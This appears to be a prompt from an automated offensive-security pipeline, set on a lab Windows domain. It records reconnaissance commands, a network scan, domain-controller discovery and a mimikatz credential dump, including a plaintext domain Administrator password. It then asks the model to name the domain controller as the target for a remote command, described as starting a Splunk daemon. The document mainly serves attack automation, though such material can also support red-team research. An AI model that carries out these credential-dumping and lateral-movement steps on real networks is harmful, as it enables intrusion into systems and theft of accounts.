You are professional in the field of cybersecurity.

**Current Access Knowledge:**
platform: windows
ip: ['192.168.30.3']
hostname: IT-ep-2
logon user: TEST\bob
user privilege: Elevated
additional imformation:
	payload: `(Get-WmiObject Win32_ComputerSystem).DomainRole`
	result: Current machine is Member Workstation, which is not a domain controller

	payload: `c:\users\public\ipscan.exe 192.168.30.1 192.168.30.10 c:\users\public\scan.txt; start-sleep -seconds 30; cat c:\users\public\scan.txt`
	result: The command executed a scan using Angry IP Scanner on the IP range from 192.168.30.1 to 192.168.30.10. The results indicate that the following IP addresses are active and responding:  
- 192.168.30.1 (IT-EP)  
- 192.168.30.2 (IT-EP-1)  
- 192.168.30.3 (IT-ep-2.test.lab)  
The remaining IP addresses from 192.168.30.4 to 192.168.30.10 are marked as "Dead" and do not have a hostname associated with them. The scan was completed on December 2, 2024, at 12:30:53 PM.

	payload: `$domain = (Get-WmiObject -Class Win32_ComputerSystem).Domain; nslookup -q=SRV _ldap._tcp.$domain`
	result: Server:  UnKnown
Address:  192.168.40.1

_ldap._tcp.test.lab	SRV service location:
	  priority       = 0
	  weight         = 100
	  port           = 389
	  svr hostname   = sensitive-DC.test.lab
sensitive-DC.test.lab	internet address = 192.168.254.10
sensitive-DC.test.lab	internet address = 192.168.40.1


	payload: `c:\users\public\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"`
	result: The command executed was `mimikatz`, a well-known tool used for extracting credentials from Windows systems. The output indicates that the command successfully obtained debug privileges and retrieved logon passwords for several user sessions. Key details include:
1. User Sessions:
   - DWM-3: User: IT-EP-2$, Domain: TEST, Logon Time: 11/14/2024, Password: (null).
   - UMFD-3: User: IT-EP-2$, Domain: TEST, Logon Time: 11/14/2024, Password: (null).
   - bob: User: bob, Domain: TEST, Logon Time: 11/14/2024, Password: (null).
   - Administrator: User: test.lab\Administrator, Domain: sensitive-DC, Password: @ut0infra.
2. Password Hashes:
   - NTLM and SHA1 hashes were provided for the user IT-EP-2$ and bob, indicating potential vulnerabilities if these hashes are exposed.
3. Kerberos Tickets:
   - Kerberos tickets were retrieved for the user bob, with encrypted passwords displayed in hexadecimal format.
4. Authentication IDs and Session Information:
   - Each session is associated with an Authentication ID and session details, indicating the interactive nature of the logins.
This output highlights potential security risks, as sensitive credentials and hashes were successfully extracted.

-----------
Parameters:
computername: This parameter specifies the name of the target domain controller computer where the PowerShell command will be executed. It is essential for identifying the remote machine that will run the command to download and start the Splunk daemon, which is crucial for monitoring and analyzing security events within the domain.
-----------
Please find possible values for parameters from Current Access Knowledge. Respond in JSON format, using the following keys: ['computername'].
- If there are multiple possible values, use list.
- If there is no value or the value is ambiguous, please respond with **N/A**.